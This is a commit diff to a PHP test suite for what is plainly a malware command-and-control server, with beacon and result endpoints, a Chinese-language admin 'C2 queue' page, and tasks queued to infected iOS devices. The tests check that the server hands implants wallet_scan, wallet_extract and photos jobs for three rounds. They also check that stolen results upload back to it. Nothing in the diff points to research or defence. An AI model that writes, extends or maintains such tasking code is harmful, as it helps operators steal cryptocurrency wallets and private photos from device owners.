fix: link memo
This commit is contained in:
@@ -42,7 +42,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
// Redis::keys() returns fully-prefixed keys, but Redis::del() adds the
|
||||
// prefix again — so we must strip it before deleting.
|
||||
$prefix = config('database.redis.options.prefix', '');
|
||||
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qt:*'];
|
||||
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qround:*', 'ds:qt:*'];
|
||||
foreach ($patterns as $pattern) {
|
||||
$keys = Redis::keys($pattern);
|
||||
if (empty($keys)) {
|
||||
@@ -712,8 +712,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
#[Test]
|
||||
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
|
||||
{
|
||||
// New Redis-based queue: seed() pushes photos + wallet_scan (FIFO, one-shot).
|
||||
// LPUSH order: [wallet_scan, photos]; RPOP dequeue order: photos → wallet_scan → noop.
|
||||
// seed() pushes wallet_scan → wallet_extract → photos (FIFO), then
|
||||
// replenishes the same list until DEFAULT_ROUNDS (3) finish.
|
||||
$uuid = self::DS_LHU;
|
||||
|
||||
// Helper to clear the per-device throttle lock (simulates 5s gap).
|
||||
@@ -724,14 +724,14 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
}
|
||||
};
|
||||
|
||||
// First dispatch -> photos (first in FIFO from seed).
|
||||
// First dispatch -> wallet_scan (first in FIFO from seed).
|
||||
$r1 = $this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson([
|
||||
'ok' => true,
|
||||
'type' => 'photos',
|
||||
'type' => 'wallet_scan',
|
||||
'uuid' => $uuid,
|
||||
]);
|
||||
$id1 = $r1->json('command_id');
|
||||
@@ -743,12 +743,12 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']);
|
||||
|
||||
// After the 5s gap -> wallet_scan (second in FIFO).
|
||||
// After the 5s gap -> wallet_extract (second in FIFO).
|
||||
$forgetThrottle();
|
||||
$r2 = $this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
$id2 = $r2->json('command_id');
|
||||
$this->assertNotEmpty($id2);
|
||||
$this->assertNotSame($id1, $id2);
|
||||
@@ -759,21 +759,23 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
|
||||
// After another gap -> noop (queue is empty, single-run: no auto-replenish).
|
||||
// After another gap -> photos (third in FIFO).
|
||||
$forgetThrottle();
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
])->assertOk()->assertJson(['type' => 'photos']);
|
||||
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
||||
$this->assertSame(0, DeviceEvent::query()->count());
|
||||
|
||||
// Single-run: after both tasks were dispatched, the queue is empty (0).
|
||||
// Round 1 consumed; remaining pending is empty until the next beacon
|
||||
// replenishes round 2.
|
||||
$queue = app(DsBeaconQueue::class);
|
||||
$this->assertSame(0, $queue->queueLength($device));
|
||||
$this->assertSame(3, $queue->roundsRemaining($device));
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
|
||||
$this->actingAs($admin, 'admin')
|
||||
@@ -781,7 +783,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
->assertOk()
|
||||
->assertSee('C2 队列')
|
||||
->assertSee('photos')
|
||||
->assertSee('wallet_scan');
|
||||
->assertSee('wallet_scan')
|
||||
->assertSee('wallet_extract');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -797,12 +800,12 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
}
|
||||
};
|
||||
|
||||
// First dispatch -> photos (first in FIFO from seed).
|
||||
// First dispatch -> wallet_scan (first in FIFO from seed).
|
||||
$first = $this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson(['type' => 'photos']);
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
$firstId = $first->json('command_id');
|
||||
$this->assertNotEmpty($firstId);
|
||||
|
||||
@@ -813,12 +816,12 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
|
||||
// After the 5s gap (simulated by deleting the Redis throttle key), the next
|
||||
// beacon dispatches wallet_scan (second in FIFO from seed).
|
||||
// beacon dispatches wallet_extract (second in FIFO from seed).
|
||||
$forgetThrottle();
|
||||
$retry = $this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
$retryId = $retry->json('command_id');
|
||||
$this->assertNotEmpty($retryId);
|
||||
$this->assertNotSame($firstId, $retryId);
|
||||
@@ -826,8 +829,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$this->postJson('/result', [
|
||||
'uuid' => $uuid,
|
||||
'command_id' => $retryId,
|
||||
'filename' => 'wallet_scan_result.json',
|
||||
'category' => 'wallet_scan',
|
||||
'filename' => 'wallet_extract_result.json',
|
||||
'category' => 'wallet_extract',
|
||||
'status' => 'success',
|
||||
])->assertOk();
|
||||
|
||||
@@ -835,16 +838,16 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
$events = DeviceEvent::query()->where('device_id', $device->id)->get();
|
||||
$this->assertSame(1, $events->count());
|
||||
$this->assertSame('wallet_scan', $events->first()->event_name);
|
||||
$this->assertStringContainsString('wallet_scan', $events->first()->desc);
|
||||
$this->assertStringContainsString('wallet_scan_result.json', $events->first()->desc);
|
||||
$this->assertSame('wallet_extract', $events->first()->event_name);
|
||||
$this->assertStringContainsString('wallet_extract', $events->first()->desc);
|
||||
$this->assertStringContainsString('wallet_extract_result.json', $events->first()->desc);
|
||||
|
||||
// After a result + gap, the queue is empty (single-run: no auto-replenish).
|
||||
// After a result + gap, the next default task is photos (not empty yet).
|
||||
$forgetThrottle();
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
])->assertOk()->assertJson(['type' => 'photos']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -852,8 +855,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
{
|
||||
// New Redis-based queue: tasks are dispatched in FIFO order (RPOP from LPUSH list).
|
||||
// No "skip legacy" logic — all queued tasks are dispatched in order.
|
||||
// Single-run: seed() only runs on new device creation, not on every beacon.
|
||||
// When the queue is emptied by dequeue, it stays empty (no auto-replenish).
|
||||
// seed() only runs on new device creation; addTask() does not start default rounds.
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
@@ -887,9 +889,48 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
|
||||
// After the last task is dequeued, the queue is empty — single-run: no
|
||||
// auto-replenish. seed() only runs on new device creation, not on
|
||||
// every beacon/upsertDevice.
|
||||
// After the last manually added task is dequeued, the queue stays empty:
|
||||
// auto-replenish only applies to seed()'d default rounds, not addTask().
|
||||
$this->assertSame(0, $queue->queueLength($device));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function beacon_replays_default_queue_three_rounds(): void
|
||||
{
|
||||
$uuid = self::DS_LHU;
|
||||
$expected = [];
|
||||
for ($round = 0; $round < DsBeaconQueue::DEFAULT_ROUNDS; $round++) {
|
||||
array_push($expected, 'wallet_scan', 'wallet_extract', 'photos');
|
||||
}
|
||||
|
||||
$dispatched = [];
|
||||
foreach ($expected as $i => $type) {
|
||||
if ($i > 0) {
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
$this->assertNotNull($device);
|
||||
Redis::del('ds:qt:'.$device->id);
|
||||
}
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson(['type' => $type]);
|
||||
$dispatched[] = $type;
|
||||
}
|
||||
|
||||
$device = Device::query()->where('device_id', $uuid)->first();
|
||||
$this->assertNotNull($device);
|
||||
$queue = app(DsBeaconQueue::class);
|
||||
$this->assertSame($expected, $dispatched);
|
||||
$this->assertSame(0, $queue->queueLength($device));
|
||||
$this->assertSame(1, $queue->roundsRemaining($device));
|
||||
|
||||
Redis::del('ds:qt:'.$device->id);
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => $uuid,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
$this->assertSame(0, $queue->roundsRemaining($device));
|
||||
$this->assertSame(0, $queue->queueLength($device));
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user